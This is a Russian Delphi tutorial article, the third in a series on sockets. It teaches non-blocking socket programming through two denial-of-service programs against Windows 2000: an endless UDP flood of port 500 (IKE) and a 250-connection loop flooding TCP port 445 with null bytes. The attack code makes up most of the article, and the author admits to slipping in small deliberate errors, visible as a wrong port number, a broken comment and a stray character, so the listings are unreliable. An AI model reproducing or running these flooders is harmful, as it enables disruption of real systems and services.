Delphi World - это проект, являющийся сборником статей и малодокументированных возможностей  по программированию в среде Delphi. Здесь вы найдёте работы по следующим категориям: delphi, delfi, borland, bds, дельфи, делфи, дэльфи, дэлфи, programming, example, программирование, исходные коды, code, исходники, source, sources, сорцы, сорсы, soft, programs, программы, and, how, delphiworld, базы данных, графика, игры, интернет, сети, компоненты, классы, мультимедиа, ос, железо, программа, интерфейс, рабочий стол, синтаксис, технологии, файловая система...
Сокеты 3 (Кодинг неблокирующих сокетов)

Автор: Danil
WEB-сайт: http://www.danil.dp.ua

Сидит компания инетчиков в кафешке, пиво пьют, отдыхают. Тут один шутит. Все молчат. Минуту молчат, две, три, не шевелясь. Наконец один из них смеется.
- Ты чего так долго молчал? - спрашивает рассказчик.
- Да коннект плохой, наладить не мог...

Удаленный отказ работы

Рассмотрим пример 2 дырок в win2k. Описание можно взять на DoS против Microsoft Windows 2000 и DoS против Microsoft Windows 2000 Internet Key Exchange. В код будут добавленны небольшие преднамеренные ошибки (на всякий случай), но после внимательного прочтения статей, проблем с этим быть не должно. Рассмотрим сначала вторую уязвимость и напишем "клиент" на блокирующем сокете. Порт - 500, UDP. Будут использованы функции из первой и второй статей. Вот исходники на Delphi:


program IKE_attack;

uses
  WinSock;

const MyComp = 'ADDRESS';

var
  wsadata : TWSAData;
  sin: TSockAddrIn;
  sock: TSocket;
  I : Cardinal;
  Buf : string;
begin
  WSAStartUp(257, wsadata);
  // Инициализируем сокет для соединения с удаленным компьютером по UDP
  // Протокол - UDP, отправка данных - SOCK_DGRAM
  sock:=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
  sin.sin_family := AF_INET;
  // Порт - 500
  sin.sin_port := htons(500);
  // Преобразуем адрес в четырехбайтное число с помощью функции,
  // рассмотреной в первой статье
  sin.sin_addr.S_addr:=d_addr(MyComp);

  // Соединение
  I:=connect(sock,sin,sizeof(sin));
  // если нельзя соединиться - выход
  if I<=0 then
    halt(1);

  // Формирование мусора для отсылки
  Buf:='';
  for I:=1 to 1024 do
    Buf:=Buf+chr(30+round(60));

  // Посылка мусора с помощью функции,
  рассмотренной во второй статье
  while true do
    DTrsend(Buf,1024,sock);
end.

Все просто. Инициализируем сокет для UDP, соединяемся и отправляем на 500 порт мусор, длинной 1024 байта. Теперь рассмотрим первую уязвимость и напишем "клиента", с использованием неблокирующих сокетов. Соединение - TCP, порт - 445. Будем использовать 250 синхронных сокетов, которые будут инициализироваться, соединяться и посылать буфер из 8500 нулевых символов. Как и в предыдущем примере, выход из программы написать в лом и программу придется, если что, прерывать через TaskManager. Исходя из теории в предыдущих статьях, нам потребуется массив из 250 сокетов и массив, в котором мы будем хранить флаги. Флаги нам нужны для линейной работы сокета. В данном конкретном случае, нужно 3 флага - сокет закрыт, идет соединение, соединение произошло - нужно отправить буфер данных и поставить флаг "сокет закрыт". В цикле идет постоянный опрос по select - в каком состоянии находится сокет с последующей установкой соответствующих флагов и выполнением неблокирующих операций сокетов. Рассмотрим для простоты на одном сокете. Идет инициализация, переход в неблокирующий режим, запуск connect на соединение и установка флага "сокет соединяется". Если по select получили, что уже соединились и можно отправить данные, то происходит установка флага "сокет соединился". В цикле, если встречается флаг "сокет соединился", то происходит отправка данных, установка флага "сокет закрыт" и закрытие сокета. ВНИМАНИЕ!!! Перед закрытием, сокет необходимо перевести в блокирующий режим. Вот исходники на Delphi с подробными комментариями:


program port445TCP;

uses
  WinSock;

const
  maxproccess=250; // Количество процессов
  // Флаги
  CLOSE_SOCK=0;
  CONNECTING_SOCK=1;//
  CONNECTED_SOCK=2; //
  // Таймаут
  TIME_OUT=10;

var
  // Массив сокетов
  sock : array [1..maxproccess] of TSocket;
  // Массив флагов
  stat : array [1..maxproccess] of Byte;
  time : array [1..maxproccess] of Byte;
  wsa:WSAData;
  addr : Tsockaddr;
  x : integer;
  // Сигнал блокировки сокета
  on_sock : LongInt = 1;
  off_sock : LongInt = 0;
  wfds_empty : Boolean;
  wfds : Tfdset;
  tv : Ttimeval;
  buf : array[1..8500] of char;

begin
  // Обнулим буфер отправки
  FillChar(Buf,8500,0);

  WSAStartup($101,wsa);
  // Начальная установка флагов
  for x:=1 to maxproccess do
    stat[x]:=CLOSE_SOCK;
  >repeat // бесконечный цикл

    // Инициализация сокетов
    for x:=1 to maxproccess do
    begin
      // Если сокет свободен
      if stat[x]=CLOSE_SOCK then
      begin
        sock[x]:=socket(AF_INET,SOCK_STREAM,0);
        time[x]:=TIME_OUT;
        // ВНИМАНИЕ!!! Перевод сокета в неблокирующий режим
        ioctlsocket(sock[x],FIONBIO,on_sock);
        addr.sin_family:=AF_INET;
        // Порт
        addr.sin_port:=htons(455);
        // Здесь необходимо указать адрес и используется функция
        // преобразования адреса из первой статьи
        addr.sin_addr.s_addr:=d_addr('ADDRESS');
        // Неблокирующее соединение
        connect(sock[x],addr,sizeof(addr));
        stat[x]:=CONNECTING_SOCK;
      end;
    end;

    // Использование макросов FD_ для установок и проверки
    // нужно ли делать select
    FD_ZERO(wfds);
    wfds_empty:=true;
    for x:=1 to maxproccess do
    begin
      if stat[x]=CONNECTING_SOCK then
      begin
        FD_SET(sock[x],wfds);
        wfds_empty:=false;
      end;
    end;

    // select-ируем сокеты с флагом "сокет соединяется",
    // с установкой таймаута и проверкой на
    // возможность отсылки данных
    if not wfds_empty then
    begin
      tv.tv_sec:=1;
      tv.tv_usec:=0;
      select(0,nil,@wfds,nil,@tv);
    end;

    // Проверка тайм-аута
    for x:=1 to maxproccess do
    begin
      if stat[x]<>CLOSE_SOCK then
      begin
        dec(time[x]);
        // Если время на соединение истекло -
        // закрываем сокет с установкой флага
        if time[x]=0 then
        begin
          stat[x]:=CLOSE_SOCK;
          // ВНИМАНИЕ!!! Перевод сокета в блокирующий режим
          // перед закрытием
          ioctlsocket(sock[x],FIONBIO,off_sock);
          closesocket(sock[x]);
        end;
      end;

      // Проверка на соединение (соединились ли уже)
      if stat[x]=CONNECTING_SOCK then
      begin
        // Если соединение уже произошло и можно отправлять данные -
        // установим флаг
        if FD_ISSET(sock[x],wfds) then
          stat[x]:=CONNECTED_SOCK;
      end;

      // Проверка на возможность отправки
      if stat[x]=CONNECTED_SOCK then
      begin
        FD_CLR(sock[x],wfds); // обнулим буфер сокета
        send(sock[x],buf[1],8500,0);
        // Отправка данных и закрытие сокета
        stat[x]:=CLOSE_SOCK;
        // ВНИМАНИЕ!!! Перевод сокета в блокирующий режим
        // перед закрытием
        ioctlsocket(sock[x],FIONBIO,off_sock);
        closesocket(sock[x]);
      end;
    end;
  until
    false;
end.

Это самый простейший пример - только отправка. Для использования приема, необходимо подключить большее количество флагов и второй параметр select. В этом коде также нет проверки ошибок, но дописать код - это уже детали. Не хотелось излишне загромождать исходники.

Клиент на синхронном сокетном движке

Более подробную информацию о неблокирующих сокетах и разных примерах их использования, можно получить посмотрев исходники моей программы "DScan" v.1.3. Для создания сокетного движка использовались неблокирующие сокеты, работающие на отдельных потоках для каждого сервиса программы. По программе "DScan" версий 1.2 и 1.3, можно оценить скорость и устойчивость двух разных подходов к программированию сокетных движков. Теоретически, преимущества и недостатки я рассматривал в предыдущих статьях

В следующей статье я рассмотрю работу с неблокирующими сокетами. Как пример, будет рассмотрена уязвимость w2k, приводящая к "синему экрану".

P.S. Статья и программы предоставлены в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

Проект Delphi World © Выпуск 2002 - 2004
Автор проекта: ___Nikolay